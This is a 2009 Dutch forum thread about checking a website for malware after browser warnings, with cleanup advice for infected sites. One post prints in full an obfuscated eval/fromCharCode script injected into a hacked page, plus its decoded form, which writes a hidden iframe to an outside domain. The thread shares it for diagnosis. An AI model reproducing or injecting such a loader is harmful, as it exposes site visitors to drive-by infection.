Website scannen op malware/xss scripting etc.

**Akif G.** · 23-05-2009, 16:47

Ik kom regelmatig via google chrome op sites die aangemerkt worden als onveilig. Is er een scanner om te testen of een website geïnfecteerd is. En zo ja hoe het te verwijderen is etc.?

**Vincent** · 23-05-2009, 17:24

Voor mallware heb je als het goed is gewoon je virusscanner.
XSS staat hier verder los van, dit is een handmatige controle maar hier zal Chrome je niet voor aanmerken vermoed ik zo.

**Akif G.** · 23-05-2009, 17:36

Origineel gepost door Vincent

Voor mallware heb je als het goed is gewoon je virusscanner.
XSS staat hier verder los van, dit is een handmatige controle maar hier zal Chrome je niet voor aanmerken vermoed ik zo.

Mallware betekend in mijn ogen rotzooi. En die kunnen ook via websites verspreid worden. Ik kreeg dus zojuist een trojan van de betreffende site. En Chrome detecteert dat wel degelijk.

Zie screenshot: http://www.plaatjesdump.nl/upload/db...e1fa71e366.jpg

**K. Schasfoort** · 23-05-2009, 18:03

Ook als je linkt naar een door Google beoordeelde (of eigenlijk door mensen die tegen google verteld hebben dat het een slechte site is) 'slechte' site, wordt jouw site bestempeld als 'slecht'.

Als het om je eigen zelf gemaakte website gaat, weet je waarschijnlijk wel wat de oorzaak is.

**Akif G.** · 23-05-2009, 18:09

In dit geval was er echt sprake van een een besmetting. Helemaal aan het einde was een netjes verkaptje javascript code.

Voor de geintresseerden:

</html><script type="text/javascript">eval(String.fromCharCode(118,97,114,32 ,120,101,119,61,52,53,51,56,48,48,53,52,51,59,118, 97,114,32,103,104
,103,52,53,61,34,110,117,111,116,34,59,118,97,114, 32,119,61,34,111,34,59,118,97,114,32,114,101,54,61 ,34,108,108,46,34,59,118,97,114,32,104,50
,104,61,34,99,111,109,34,59,118,97,114,32,97,61,34 ,105,102,114,34,59,118,97,114,32,115,61,34,104,116 ,116,34,59,100,111,99,117,109,101,110,116,
46,119,114,105,116,101,40,39,60,39,43,97,43,39,97, 109,101,32,115,114,39,43,39,99,61,34,39,43,115,43, 39,112,58,47,47,39,43,103,104,103,52,53,43,
39,39,43,119,43,39,39,43,114,101,54,43,39,39,43,10 4,50,104,43,39,47,39,43,39,34,32,119,105,100,39,43 ,39,116,104,61,34,49,34,32,104,39,43,39,101,
105,103,104,116,61,34,51,34,62,60,47,105,102,39,43 ,39,114,97,109,101,62,39,41,59,32,118,97,114,32,10 6,104,114,52,61,52,51,50,52,50,50,52))</script>

Als dit omgezet wordt ontstaat er (wederom verkapt) een link naar geloof ik een iframe:

var xew=453800543;var ghg45="nuot";var w="o";var re6="ll.";var h2h="com";var a="ifr";var s="htt";document.write('<'+a+'ame sr'+'c="'+s+'p://'+ghg45+''+w+''+re6+''+h2h+'/'+'" wid'+'th="1" h'+'eight="3">'); var jhr4=4324224

**Tom Heek** · 23-05-2009, 18:23

www.hitmanpro.nl download hitmanpro 3 om je tegen malware te beschermen!

**K. Schasfoort** · 23-05-2009, 20:10

Origineel gepost door Tom Heek

www.hitmanpro.nl download hitmanpro 3 om je tegen malware te beschermen!

Hitmanpro is ook troep en heeft ook niks met de vraag van de TS te maken.
Of je virussen/malware/andere troep krijgt, ligt helemaal aan je zelf. Je kan je zelfs nog beschermen met een Virusscanner, maar eigenijk hoeft dit helemaal niet nodig te zijn.

**Billy Idol** · 23-05-2009, 20:28

Malware is een hack, waarbij een bestandje vaak Javascript wordt geplaatst in de code.

heeft te maken met onveilige scripts, of eigenaren die alle maprechten voor het gemak op 777 hebben gezet..... vragen om problemen.

Zie ook http://www.nu.nl/internet/1967114/in...en-google.html

en: http://www.techjaws.com/php-script-i...wordpress-271/

Hoe op te lossen... download allle bestanden van je website via ftp naar je lokale/externe hardeschijf, indien je een goed werkende virusscanner hebt zal deze direct de besmette dir of bestanden aanwijzen. Zaak deze dus op te schonen om vervolgens het zaakje opnieuw up te loaden (besmette bestanden worden natuurlijk gewist) daarna goed kijken naar de bestandsrechten van desbetreffende bestanden files nooit op 777 zetten is vragen om problemen. Daarna de login van de ftp aanpassen (complex ww is altijd goed)

Sites die langer besmet zijn krijgen vanzelf een mailtje van Google, nadat de site is schoongemaakt kan je Google vragen om een nieuwe scan te maken wanneer alles correct is zal de "blokkade" worden opgeheven.

Malware heeft dus niets met je pc spec. te maken ....

Succes

p.s. er zullen vast ook andere oplossingen zijn (wellicht betere...) deze optie werkt iig

**Akif G.** · 23-05-2009, 20:32

Origineel gepost door Billy Idol

Malware is een hack, waarbij een bestandje vaak Javascript wordt geplaatst in de code.

heeft te maken met onveilige scripts, of eigenaren die alle maprechten voor het gemak op 777 hebben gezet..... vragen om problemen.

Zie ook http://www.nu.nl/internet/1967114/in...en-google.html

en: http://www.techjaws.com/php-script-i...wordpress-271/

Hoe op te lossen... download allle bestanden van je website via ftp naar je lokale/externe hardeschijf, indien je een goed werkende virusscanner hebt zal deze direct de besmette dir of bestanden aanwijzen. Zaak deze dus op te schonen om vervolgens het zaakje opnieuw up te loaden (besmette bestanden worden natuurlijk gewist) daarna goed kijken naar de bestandsrechten van desbetreffende bestanden files nooit op 777 zetten is vragen om problemen. Daarna de login van de ftp aanpassen (complex ww is altijd goed)

Sites die langer besmet zijn krijgen vanzelf een mailtje van Google, nadat de site is schoongemaakt kan je Google vragen om een nieuwe scan te maken wanneer alles correct is zal de "blokkade" worden opgeheven.

Malware heeft dus niets met je pc spec. te maken ....

Succes

p.s. er zullen vast ook andere oplossingen zijn (wellicht betere...) deze optie werkt iig

Kijk eindelijk een reactie waar ik echt iets mee kan. Bedankt.

Ik was ooit een site tegengekomen die als service aanbood je site 1x per 24 uur te scannen. Je kreeg dan een mooie groene "badge" wanneer er geen problemen waren gevonden. Maar ik kan het nergens vinden.

Virusscanner is leuk, maar een speciale tools exact voor dit soort doeleinden zou top zijn. Misschien heeft iemand anders nog suggesties tips?

**Billy Idol** · 23-05-2009, 20:38

misschien is dit wat voor je

http://www.pandasecurity.com/homeusers/solutions/

**Akif G.** · 23-05-2009, 20:42

Ik bekijk zojuist je link van wordpress 2.7.1. En waarschijnlijk was dat het probleem. Bedankt voor de link.

**Vincent** · 23-05-2009, 21:12

Origineel gepost door Akif G.

Mallware betekend in mijn ogen rotzooi. En die kunnen ook via websites verspreid worden. Ik kreeg dus zojuist een trojan van de betreffende site. En Chrome detecteert dat wel degelijk.

Zie screenshot: http://www.plaatjesdump.nl/upload/db...e1fa71e366.jpg

Heb je mijn post wel goed gelezen/begrepen?
Jou post is een niet lopende reactie op mijn post..

**Akif G.** · 23-05-2009, 21:15

Origineel gepost door Vincent

Heb je mijn post wel goed gelezen/begrepen?
Jou post is een niet lopende reactie op mijn post..

Nee. Dan blijkbaar niet. Ik heb je post wel goed gelezen, nu net nog eens, maar wederom begrijp ik het niet. Wellicht kun je het nu nader toelichten?

**Vincent** · 23-05-2009, 21:45

Origineel gepost door Akif G.

Nee. Dan blijkbaar niet. Ik heb je post wel goed gelezen, nu net nog eens, maar wederom begrijp ik het niet. Wellicht kun je het nu nader toelichten?

Hij vraagt hoe je kunt controleren of je website mallware heeft. Ik zeg dat je virusscanner dat als het goed is goed.

En jij zegt ineens dat Google dat wel doet. Ik zeg nergens dat Google dat niet doet?

**PaulP** · 29-05-2009, 13:00

Origineel gepost door Akif G.

Ik was ooit een site tegengekomen die als service aanbood je site 1x per 24 uur te scannen. Je kreeg dan een mooie groene "badge" wanneer er geen problemen waren gevonden. Maar ik kan het nergens vinden.

Bedoel je deze?

http://www.hackersafe.nl/info/

Je krijgt dan een logo zoals rechtsonderaan deze site.

Hackersafe is nu van Mcafee en de .nl site die ik hierboven noem is van de nederlandse distributeur.

Succes!

Website scannen op malware/xss scripting etc.